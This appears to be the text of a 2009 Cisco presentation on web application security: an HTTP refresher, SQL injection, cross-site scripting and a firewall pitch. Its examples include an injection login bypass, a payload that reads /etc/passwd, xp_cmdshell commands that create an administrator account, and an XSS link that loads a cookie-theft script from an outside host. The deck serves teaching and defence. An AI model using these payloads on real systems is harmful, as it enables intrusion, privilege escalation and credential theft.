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WAN Acceleration
� Data redundancy elimination

� Window scaling

� LZ compression

� Adaptive congestion avoidance

Application Acceleration
� Latency mitigation

� Application data cache

� Meta data cache

� Local services

Application Optimization
� Delta encoding

� FlashForward optimization

� Application security

� Server offload

Application Networking
� Message transformation

� Protocol transformation

� Message-based security

� Application visibility

Application Scalability
� Server load-balancing

� Site selection

� SSL termination and offload

� Video delivery

Network Classification
� Quality of service

� Network-based app recognition

� Queuing, policing, shaping

� Visibility, monitoring, control

Data Center Security – what are we covering 
today?

WAN
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Session agenda

� Web Application Security: background

� Quick HTTP refresher

� High Impact Attacks:

– SQL injection

– Cross-Site Scripting (XSS)

� Solution

– Cisco’s ACE Web Application Firewall

� VMware Security

– Cisco’s Nexus 1000-V 
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Web Application 
Security: Background
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Vulnerability trends: interesting statistics

34%
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The Evolution of Intent
A Shift to Financial Gain

Threats becoming increasingly difficult to detect and mitigate
Applications are the primary targets
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1990 1995 2000 2005 WHAT’S NEXT?

FINANCIAL:
Theft & Damage

NOTORIETY:
Viruses and Malware

VANDALISM:
Basic Intrusions and Viruses

2007
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Applications: the Weak Link to the Crown Jewels
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Applications Give Unprecedented Access 

to Critical Business Data

Source: privacyrights.org
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Can you put a price on stolen data?

http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf
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Network firewalls are HTTP-applications blind

Network 
Firewall

Ports 80 & 
443 open

HTTP Traffic
Good & Bad

Web
Client

Web
Server

Application

Application

Database
Server



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 10

2/3rd of Attacks 
Focused Here

Custom Web Applications
Customized Packaged Apps
Internal and 3rd Party Code

Business Logic & Code

Network

Operating
Systems

Database
Servers

Operating
Systems

Application
Servers

Operating
Systems

Web
Servers

Network 
Firewall

IDS
IPS
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No magic signatures or patches for your custom PHP script

Focus of today’s attacks



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 11

Expanding the Network Perimeter

� More applications services available via the 
web

Customers, Employees, Business Partners

� Web-enabled appliances 

IP phones, printers, webcams, etc.

� Issues:

Web applications invite potentially malicious 
HTTP requests 

Even “secure” sites using SSL accept HTTP 
requests  without scrutiny 

Web application code has become part of the 
network perimeter, but is often poorly protected 
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Why web application security?

� Web apps provide a great portal to sensitive information

� Internet � relatively anonymous medium – easy to fire and forget

� Tool required to attack most web applications: a web browser!

� Identity theft losses estimated at $45B by US Fed Trade Comm.

� Indirect costs of security breaches are potentially enormous:

• Brand erosion

• Customer attrition

• Regulatory non-compliance fines

– eg. Payment Card Industry Data Security Standard

• Lawsuits
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PCI-DSS 6.5 & 6.6

� Two sections of Payment 
Card Industry Data 
Security Standard focus 
on web application 
security: 6.5 and 6.6

� Section 6.6 mandates you 
install a Web App Firewall 
by end of June 08 to 
protect your applications 
against OWASP Top 10
attacks
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PCI DSS: 6 sections and 12 requirements

Build and Maintain a Secure Network

1. Install and maintain a firewall configuration to protect data 

2. Do not use vendor-supplied defaults for system passwords and other security 
parameters 

Protect Cardholder Data

3. Protect stored cardholder data 

4. Encrypt transmission of cardholder data and sensitive information across open 
public networks 

Maintain a Vulnerability Management Program

5. Use and regularly update anti-virus software 

6. Develop and maintain secure systems and applications 

Section 6.5: develop secure web apps, cover 
prevention of OWASP vulnerabilities

Section 6.6: Ensure all web-facing apps are 
protected against known attacks using 
either of the following methods

• secure coding practices
• installing a Web App FW*

*This becomes a requirement by June 2008
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You said OWASP? 

Source: WhiteHat Security, 2007

OWASP = Open Web App Security Project
http://www.owasp.org
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Vulnerabilities by verticals

Source: WhiteHat Security, 2008

Percentage of web sites with an urgent/critical/high defect
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Why Not Just Fix the Code?
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HTTP Crash Course
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HTTP – an application-level protocol

� HTTP 1.0—RFC 1945

Informational

Performance and functional limits

� HTTP 1.1—RFC 2616

Draft Standard

Persistent connections, Caching

More stringent requirements

� HTTP always stateless – many tricks to make it behave as session-
oriented (cookies, session IDs)

� Useful links:

http://www.w3.org/Protocols/

http://www.rfc-editor.org/rfcxx00.html
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HTTP—Request Elements

� Three important elements of an HTTP request:

Method

URI 

Headers
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HTTP—Request Methods

� HTTP 1.1— Methods

OPTIONS: Ask server for available methods

GET: Request a resource from server

HEAD: Request resource & view response headers only

POST: Send data to the server

PUT: Send a file to the server

DELETE: Delete a file form the server

TRACE: Allows client to “trace route” via proxies to web server

CONNECT: Used by proxies for tunneling requests to web server

� All methods expect an HTTP response from the server

� In practice, both GET and POST send data to web applications – this is where 
your Network Firewall can help with RFC2616 compliance
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HTTP—GET vs POST

� GET

form data to be encoded (by a browser) into a URL

• POST

form data to appear within the body

• Myth: POST safer than GET because parameters not directly visible

<FORM METHOD="post" ACTION="/cgi-bin/script.pl">

<INPUT TYPE="text" NAME="in" SIZE="20" 

MAXLENGTH="40" VALUE="hello there"> 

<INPUT TYPE="submit" NAME="button" VALUE="Send"> 

</FORM> 

HTTP request for the GET method is simpler: 

GET /cgi-bin/script.pl?in=hello+there&button=Send HTTP/1.0 

POST /cgi-bin/script.pl HTTP/1.0 

Content-type: application/x-www-

form-urlencoded

Content-length: 26 

in=hello+there&button=Send 

POST

GET
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HTTP—Uniform Resource Identifiers

A URI Identifies and Locates a 
Network Resource

"http:" "//" host  [":"port]/[abs_path["?"query]] 

DNS Resolution

Scheme

TCP Port

Path and File Name /

URL Query String
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HTTP—Query Parameters

� The URL portion after the “?”

http://www.google.com/search?q=cisco

� Passed to the application (and vector to several attacks 
when improperly parsed)

� Content returned dynamically based on query 
parameters. 

� Overall page layout similar while data differs.

� For an example of how query parameter are used see 
google’s API description 

http://www.google.com/apis/reference.html#2_2
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HTTP—Cookies

� Server sends cookie to client

Set-Cookie:NAME=VALUE;expires=DATE;path=PATH; 

domain=DOMAIN_NAME; secure=YES

� Client sends cookie back to server on subsequent visits to domain

GET / HTTP/1.1\r\n

Host: DOMAIN_NAME\r\n

Cookie: NAME=VALUE;

“Cookies are pieces of information 
generated by a Web server and stored in 
the user’s computer, ready for future 
access.”

www.cookiecentral.com

Cookies are not programs, 
and they cannot run like 
programs do. 
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Web Attacks!
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Typical Web Application Architecture

Web server 
receives Input

App server 
parses Input

DB receives query
created & sent by 

App server
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Ranked #1 in sans.org’s Top 25 coding errors

Ja
n 1

2 

2009
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Attack #1: SQL injection
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Attack #2 – SQL Injection

� SQL stands for Structured Query Language

� Allows applications to access a database 

� SQL can:

execute queries against a database 

retrieve data from a database 

insert new records in a database 

delete records from a database 

update records in a database

� Many applications take user input and blindingly send it 
directly to SQL API!
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Attack #2: SQL injection

Single quote ‘
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Application Error Message Reveals DB structure

mex.expense_number = ‘ ‘ ‘mex.expense_number = ‘ ‘ ‘
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Anatomy of a SQL Injection attack:
Basic SQL Query for Login 

Typical SQL query

SELECT * FROM users 

WHERE login = 'victor'

AND password = '123'

Typical ASP/MS SQL Server login syntax

var sql = "SELECT * FROM users

WHERE login = '" + form_user + 

"' AND password = '" + form_pwd + "'";
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Anatomy of a SQL Injection attack:
SQL Injection – Bypass Login

Attacker Injects the following:

form_user = ' or 1=1 – –

form_pwd = anything

Final query would look like this:

SELECT * FROM users

WHERE username = ' ' or 1=1

– – AND password = 'anything'

� Attacker gains access to the application!

� Several patterns such as ‘)  “> ‘”\ etc. 

SQL comment

always true!
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Variation: OS Command Injection

� Two ways to interact with the OS:

Reading and writing system files from disk

Find passwords and configuration files

Change passwords and configuration

Execute commands by overwriting initialization or 
configuration files

Direct command execution

We can do anything

� Both are restricted by the database's running privileges 
and permissions
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OS Command Injection

� Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

� MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' -
-

� Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --
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SQL/command injection: summary

How serious?
� Result of poor/inexistant input validation

� Extremely easy to carry out: just a browser is sufficient

� Major vector of identity theft, DB denial of service (shutdown the DB) 

Damage potential?

� Very High

Countermeasures
� Sanitize user input

� Don’t display raw database error codes to the client

� Cisco’s Web Application Firewall can prevent patterns from being fed 
as form input (characters such as single quote, double quote, etc)
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Attack #2: XSS / Cross-site Scripting
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Attack #3 – Cross Site Scripting

What is it?
� Improper input validation on the application lets reserved HTML tags in

� Hacker sends forged URL with malicious tags to victim

� Those tags cause Javascript to execute in the victim’s browser

Why does Cross Site Scripting happen?
� A result of poor or no input validation

� Application blindly echoes requests back to browser

Result
� “Virtual hijacking” of the session by stealing cookies 

� Interception of data

� Web site defacement



© 2009 Cisco Systems, Inc. All rights reserved. Cisco PublicPresentation_ID 40

Example: Cisco’s internal search tool

?q=<script>alert(‘hi’)</script>
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XSS: just pop up alert boxes?

� OK great, yet another example of a XSS attack popping 
up a “Hello” box in a browser – big deal …how serious 
is this? Should I really be concerned?
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“So… what’s the worst thing you can do with 
XSS? Steal every piece of sensitive information 
you’ve ever inputted or will ever input on any 
website you’re authenticated to. Yes, it’s 
potentially that bad..”

Robert “RSnake” Hansen, CEO SecTheory

http://ha.ckers.org
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Cross Site Scripting applications

� The second a hacker realizes a query parameter 
accepts HTTP, he can trick your browser into doing 
virtually anything:

-build hidden forms that submit your cookies

-check your browsing history

-scan your subnet for certain hosts

-etc.

- Commonly used in Phishing emails

- Experts estimate 80% of web sites are vulnerable 
(http://www.whitehatsec.com/downloads/WHXSSThreats.pdf)
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XSS in action: Stealing Authentication Credentials

http://bock-bock/cgi-bin/power/?q=<script
src=http://www.employees.org/~pag/XSS/cookie_theft.js></script>

Step 1


